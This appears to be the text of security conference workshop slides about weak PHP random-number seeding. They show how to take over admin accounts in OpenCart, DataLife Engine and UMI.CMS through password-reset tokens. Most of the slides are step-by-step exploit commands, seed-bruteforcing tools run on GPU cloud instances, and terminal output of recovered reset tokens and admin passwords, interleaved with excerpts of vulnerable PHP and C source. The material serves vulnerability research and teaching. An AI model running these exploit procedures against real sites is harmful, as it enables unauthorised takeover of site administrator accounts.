Timeline of PHP problems with random numbers

2008: “mt_srand and not so random numbers” by Stefan Esser

Early 2010: “Abusing weak PRNGs in PHP applications” by gat3way

July 2010: “How I Met Your Girlfriend” by Samy Kamkar

July 2012: “I Forgot Your Password: Randomness Attacks Against PHP” by George Argyros and Aggelos Kiayias

August 2012: “Random Numbers. Take Two”
Documentation still lacks security warnings except for uniqid()

PHP developers refuse to use external crypto providers in GENERATE_SEED

Seeds in LCG and Mersenne Twister are interdependent (if you know one seed you will know the other)
PHP Developers: meh, so what?

 несколькo
Make seeding more secure?

 несколькo
Nope, fix the documentation instead.*

* didn’t do even this.
What we are going to hack today

- OpenCart 1.5.3.1
- DataLife Engine 9.5
- UMI.CMS 2.8.5.3
- OpenCart 1.5.4.1
Apache: mpm-prefork (separate processes) or mpm-worker (threads within a process)

PHP: non-thread safe (used with mpm-prefork) or thread safe (used with mpm-worker)

Apache+PHP: mod_php (same process on keep-alive requests) or CGI/FastCGI (different processes on keep-alive requests)
In a fresh process PHP automatically seeds its PRNGs.

- Same seed for `rand` and `mt_rand` (max value $2^{32}$).
- Two different seeds for LCG (max value $2^{32}$ each).
```php
$code = md5(mt_rand());
//admin/controller/common/forgotten.php

$this->session->data['token'] = md5(mt_rand());
//admin/controller/common/login.php
```
Fresh Process Spawning on mpm-prefork Apache

- Initiate a number of keep-alive requests that is > MaxSpareServers (10 by default)

- Fill the pool

- Make target request on freshly seeded process
OpenCart 1.5.3.1

- php exploits/opencart/1.5.3.1.php

- php exploits/opencart/md5crack.php <md5> or ./tools/hashcat/hashcat <md5> on obtained token

- At Amazon run "mt_seed.exe" or ./tools/php_mt_seed/php_mt_seed <num> on obtained random number

- php exploits/opencart/genlinks.php seeds.txt
PT@UBUNTU: ~$

php workshop/exploits/opencart/1.5.3.1.php
Sending 20 keep-alive requests
Sending request to obtain md5(mt_rand())
Sending request to reset admin password
Token: dd38a92e1599c63c0e941044c201e9c9
pt@ubuntu: ~$
OpenCart 1.5.3.1

- php exploits/opencart/1.5.3.1.php

- php exploits/opencart/md5crack.php <md5> or ./tools/hashcat/hashcat <md5> on obtained token

- At Amazon run "mt_seed.exe" or ./tools/php_mt_seed/php_mt_seed <num> on obtained random number

- php exploits/opencart/genlinks.php seeds.txt
OpenCart 1.5.3.1

- `php exploits/opencart/1.5.3.1.php`

- `php exploits/opencart/md5crack.php <md5> or ./tools/hashcat/hashcat <md5> on obtained token`

- **At Amazon run “mt_seed.exe” or ./tools/php_mt_seed/php_mt_seed <num> on obtained random number**

- `php exploits/opencart/genlinks.php seeds.txt`
OpenCart 1.5.3.1

- `php exploits/opencart/1.5.3.1.php`

- `php exploits/opencart/md5crack.php <md5> or ./tools/hashcat/hashcat <md5> on obtained token`

- At Amazon run "mt_seed.exe" or ./tools/php_mt_seed/php_mt_seed <num> on obtained random number

- `php exploits/opencart/genlinks.php seeds.txt`
OpenCart 1.5.3.1

Reset your password

Enter the new password you wish to use.

Password:

Password Confirm:
OPEN CART 1.5.3.1

GREAT SCOTT! IT WORKED!
DataLife 9.6

**engine/modules/lostpassword.php:**
```php
$salt = "abchefghjkmnpqrsuvwxyz0123456789";
srand( ( double ) microtime() * 1000000 );
for($i = 0; $i < 15; $i ++) {
    $rand_lost .= $salt[rand( 0, 33 )];
}
$lostid = sha1( md5( $lostname . $lostmail ) . time () . $rand_lost )
```

**engine/modules/pm.php:**
```php
$salt = "abchefghjkmnpqrsuvwxyz";
$random_key = ""
for($i = 0; $i < 8; $i ++) {
    $random_key .= $salt[rand( 0, 23 )];
}
```
Log on as test:123456 at http://datalife

Copy PHPSESSID (View Page Info -> Details -> View Cookies)

Delete cookies, go to http://datalife/?do=lostpassword

Copy PHPSESSID and symbols on captcha

php exploits/dle/dle.php <PHPSESSID 1> <PHPSESSID captcha> <captcha>
Log on as test:123456 at http://datalife

Copy PHPSESSID (View Page Info -> Details -> View Cookies)

Delete cookies, go to http://datalife/?do=lostpassword

Copy PHPSESSID and symbols on captcha

php exploits/dle/dle.php <PHPSESSID 1> <PHPSESSID captcha> <captcha>
DataLife 9.6

Website Identity
Website: datalife
Owner: This website does not supply ownership information.
Verified by: Not specified

Privacy & History
Have I visited this website prior to today? Yes, 44 times
Is this website storing information (cookies) on my computer? Yes
Have I saved any passwords for this website? No

Technical Details
Connection Not Encrypted
The website datalife does not support encryption for the page you are viewing.
Information sent over the Internet without encryption can be seen by other people while it is in transit.

Cookies
Search: datalife
The following cookies match your search:

<table>
<thead>
<tr>
<th>Site</th>
<th>Cookie Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>datalife</td>
<td>PHPSESSID</td>
</tr>
<tr>
<td>datalife</td>
<td>die_user_id</td>
</tr>
<tr>
<td>datalife</td>
<td>dle_password</td>
</tr>
<tr>
<td>datalife</td>
<td>dle_newpm</td>
</tr>
</tbody>
</table>

Name: PHPSESSID
Content: 52dec8bd21c0114eb169aab78550d423
Host: datalife
Path: /
Send For: Any type of connection
Expires: At end of session

Remove Cookie  Remove All Cookies
DataLife 9.6

- Log on as test:123456 at http://datalife

- Copy PHPSESSID (View Page Info -> Details -> View Cookies)

- Delete cookies, go to http://datalife/?do=lostpassword

- Copy PHPSESSID and symbols on captcha

- php exploits/dle/dle.php &lt;PHPSESSID 1&gt; &lt;PHPSESSID captcha&gt; &lt;captcha&gt;
Log on as test:123456 at http://datalife

Copy PHPSESSID (View Page Info -> Details -> View Cookies)

Delete cookies, go to http://datalife/?do=lostpassword

Copy PHPSESSID and symbols on captcha

php exploits/dle/dle.php <PHPSESSID 1> <PHPSESSID captcha> <captcha>
Log on as test:123456 at http://datalife

Copy PHPSESSID (View Page Info -> Details -> View Cookies)

Delete cookies, go to http://datalife/?do=lostpassword

Copy PHPSESSID and symbols on captcha

php exploits/dle/dle.php <PHPSESSID 1> <PHPSESSID captcha> <captcha>
DataLife 9.6

```
pt@ubuntu: ~ /workshop

File Edit View Terminal Help

===============================
DLE < 9.6 Admin Pass Reset Exploit
===============================
Sending request 1,2
Found Token1='phhuhasu'; Time=1353240396
FOUND SEED: 661099 RESET TOKEN=a786bf961d27be61828c03ebd4a836c4cf62af97
Sending request 3,4
FOUND Token2='srhxvfvp'
FOUND PASS: 2euxrjqz6
```
GREAT SCOTT!
IT WORKED!
Time Synchronization (ATS)

\[ \text{msec(server)} \sim [0; (m2-m1)/2] \]
(PHP<5.4) ext/session/session.c:

```c
gettimeofday(&tv, NULL);
...
ssprintf(&buf, 0, "%.15s%ld%ld%0.8F", remote_addr ? remote_addr : "", tv.tv_sec, (long int)tv.tv_usec, php_combined_lcg(TSRMLS_C) * 10);
...
return PHP_MD5Update(&md5_context, (unsigned char *) buf, strlen(buf));
```
PHPSESSID:

md5(127.0.0.11351346648192088.00206033)

- IP (known)
- timestamp (known)
- microtime0 (need to bruteforce)
- LCG (need to find two seeds)
ext/standard/lcg_seed.h:
static void lcg_seed(TSRMLS_D) {
    struct timeval tv;
    if (gettimeofday(&tv, NULL) == 0) {
        LCG(s1) = tv.tv_sec ^ (tv.tv_usec<<11);
    } else {
        LCG(s1) = 1;
    }
}
#ifdef ZTS
    LCG(s2) = (long) tsrm_thread_id();
#else
    LCG(s2) = (long) getpid();
#endif
    if (gettimeofday(&tv, NULL) == 0) {
        LCG(s2) ^= (tv.tv_usec<<11);
    }
    LCG(seeded) = 1;
}
LCG seeds:

\[ S1 = \text{timestamp} \wedge \text{microtime1} \ll 11 \]

\[ S2 = \text{pid} \wedge \text{microtime2} \ll 11 \]

- **timestamp** (known)
- **microtime1** (need to bruteforce: \text{microtime1} - \text{microtime0} = 1\ldots4)
- **pid** (need to bruteforce: 1024-32768)
- **microtime2** (need to bruteforce: \text{microtime2} - \text{microtime1} = 0\ldots3)
ext/standard/php_rand.h:

#ifdef PHP_WIN32

#define GENERATE_SEED() (((long) (time(0) * GetCurrentProcessId())) ^ ((long) (1000000.0 * php_combined_lcg(TSRMLS_C))))

#else

#define GENERATE_SEED() (((long) (time(0) * getpid())) ^ ((long) (1000000.0 * php_combined_lcg(TSRMLS_C))))

#endif
function getRandomPassword ($length = 12) {
    $avLetters = "#$@^&!1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM";
    $size = strlen($avLetters);
    $npass = "";
    for($i = 0; $i < $length; $i++) {
        $c = rand(0, $size - 1);
        $npass .= $avLetters[$c];
    }
    return $npass;
}

Edit exploits/umi/umi.php, add your login

php exploits/umi/umi.php [offset=0] [delay1=10000-100000] [delay2=10000]

Run phpsessid_cuda with PHPSESSID, timestamp and your ip

php exploits/umi/pass_gen.php <sec> <pid> <s1> <s2>
Edit exploits/umi/umi.php, add your login

php exploits/umi/umi.php [offset=0] [delay1=10000-100000] [delay2=10000]

Run phpsessid_cuda with PHPSESSID, timestamp and your ip

php exploits/umi/pass_gen.php <sec> <pid> <s1> <s2>
CHANGE! local[610972]=(1353240888) local[880625]=(1353240889)t3=455688 t~=-2235
8 serv_msec=1 200 pid=0
CHANGE! local[611034]=(1353240890) local[884236]=(1353240891)t3=494679 t~=-4182
2 serv_msec=1 200 pid=0
CHANGE! local[610164]=(1353240892) local[882867]=(1353240893)t3=503903 t~=-4486
9 serv_msec=1 200 pid=0
CHANGE! local[611042]=(1353240924) local[883512]=(1353240925)t3=450180 t~=-1956
9 serv_msec=1 200 pid=0
RESULT: session=42jp3bifg2444nu5pvh9vkhpf3 usec=[0;419569] sec=1353240925
FINISH! pt@ubuntu:~/workshop$
UMI.CMS 2.8.5.3

- Edit exploits/umi/umi.php, add your login

- `php exploit/umi/umi.php [offset=0] [delay1=10000-100000] [delay2=10000]`

- Run `phpsessid_cuda` with PHPSESSID, timestamp and your ip

- `php exploit/umi/pass_gen.php <sec> <pid> <s1> <s2>`
1,170 billion seeds/sec on a single Amazon EC2 GPU Instance

Supports multiple GPUs

Covers the whole search space within 7.5 minutes

Supports distributed computing based on sockets

So fast that we don’t need microtime synchronization with remote server any more
**PHPSESSID Bruteforcer**

```
NUM GPU = 2
USEC = 13538
TIME = 0.001700127 mcs (COL = 524288)
TOTAL = 5242874275712 seed
SPEED = 1176382474.52 n/sec
ETA = 439 sec
```
UMI.CMS 2.8.5.3

- Edit exploits/umi/umi.php, add your login

- `php exploits/umi/umi.php [offset=0] [delay1=10000-100000] [delay2=10000]`

- Run `phpsessid_cuda` with PHPSESSID, timestamp and your ip

- `php exploits/umi/pass_gen.php <sec> <pid> <s1> <s2>`
Восстановление пароля

Пароль успешно изменен, на e-mail адрес, указанный при регистрации выслано уведомление.

Логин: admin

Пароль: QOCfQdhQX#fh
GREAT SCOTT!
IT WORKED!
PHDAYS.RU OWNED!!!
OpenCart 1.5.4.1
$code = md5(mt_rand());

$code = sha1(uniqid(mt_rand(), true));

//admin/controller/common/forgotten.php

$this-&gt;session-&gt;data['token'] = md5(mt_rand());

//admin/controller/common/login.php
Sources of entropy:

- `mt_rand()` : 92496817
- `uniqid()` : 1351070918 + 616520 (in hex)
- `lcg_value()` : 7.41222311

`sha1(924968175087b4c6968487.41222311)`
ifdef PHP_WIN32

#define GENERATE_SEED() (((long) (time(0) * GetCurrentProcessId())) ^ ((long) (1000000.0 * php_combined_lcg(TSRMLS_C))))

#else

#define GENERATE_SEED() (((long) (time(0) * getpid())) ^ ((long) (1000000.0 * php_combined_lcg(TSRMLS_C))))

#endif
Send 3 requests in keep-alive (get token, user reset, admin reset)

Find MT seeds (some collisions are present)

Bruteforce LCG seeds (also collisions) given MT seeds

Bruteforce our sha1 -> find out proper MT seed, LCG seed; also microseconds to start from

Calculate admin mt_rand(), admin LCG

Bruteforce microseconds given starting point from our sha1 (Request Twins approach)
php exploits/opencart/1.5.4.1.php, get hash in local mail

php exploits/opencart/md5crack.php <md5> or ./tools/hashcat/hashcat <md5> on obtained token

At Amazon run “mt_rand.exe” to get seeds

At Amazon run “lcg_sha1.exe” with seeds file, timestamp and sha1 hash

Get back to exploit, specify mt_rand, admin LCG and microsecs to start from
OpenCart 1.5.4.1

- php exploits/opencart/1.5.4.1.php, get hash in local mail

- php exploits/opencart/md5crack.php <md5> or ./tools/hashcat/hashcat <md5> on obtained token

- At Amazon run "mt_rand.exe" to get seeds

- At Amazon run "lcg_sha1.exe" with seeds file, timestamp and sha1 hash

- Get back to exploit, specify mt_rand, admin LCG and microsecs to start from
OpenCart 1.5.4.1

- php exploits/opencart/1.5.4.1.php, get hash in local mail
- php exploits/opencart/md5crack.php <md5> or ./tools/hashcat/hashcat <md5> on obtained token

- At Amazon run "mt_rand.exe" to get seeds
- At Amazon run "lcg_sha1.exe" with seeds file, timestamp and sha1 hash
- Get back to exploit, specify mt_rand, admin LCG and microsecs to start from
OpenCart 1.5.4.1

- php exploits/opencart/1.5.4.1.php, get hash in local mail

- php exploits/opencart/md5crack.php <md5> or ./tools/hashcat/hashcat <md5> on obtained token

- At Amazon run “mt_rand.exe” to get seeds

- At Amazon run “lcg_sha1.exe” with seeds file, timestamp and sha1 hash

- Get back to exploit, specify mt_rand, admin LCG and microsecs to start from
LCG via mt_rand Seed BruteForcer

- Allows to find LCG seeds (some collision are present) given mt_rand seed
- GPU-based
- 16 billion seeds/sec on a single Amazon EC2 GPU Instance
- Covers the whole search space within 1 minute
OpenCart 1.5.4.1

SEC = 1353244828
FILE SEED = seed.txt
LUSEC = 0
RUSEC = 999999
LDELTA = 0
RDELTA = 3
RESULT SHA1 = 26bc2b6f4301
OpenCart 1.5.4.1

1  0.94821643
2  9.31809351  ← mt_srand
3  1.78501767
4  5.16258654
5  7.25796790  ← User LCG
6  1.86345598
7  3.57376950
8  4.59748062  ← Admin LCG
9  1.85684612
10 2.74482567
number seed 3 of 3

USEC = 1000000
TIME = 0.016524792 ms (COL = 131072)
SPEED = 15863678791.12 n/sec
ETA = 0 sec

GPU0 : NUM = 40
GPU1 : NUM = 46

To continue press any key
OpenCart 1.5.4.1

- php exploits/opencart/1.5.4.1.php, get hash in local mail
- php exploits/opencart/md5crack.php <md5> or ./tools/hashcat/hashcat <md5> on obtained token
- At Amazon run "mt_rand.exe" to get seeds
- At Amazon run "lcg_sha1.exe" with seeds file, timestamp and sha1 hash
- Get back to exploit, specify mt_rand, admin LCG and microsecs to start from
Wait a moment...
GREAT SCOTT! IT WORKED!
Thanks!

Arseniy Reutov
Timur Yunusov
Dmitriy Nagibin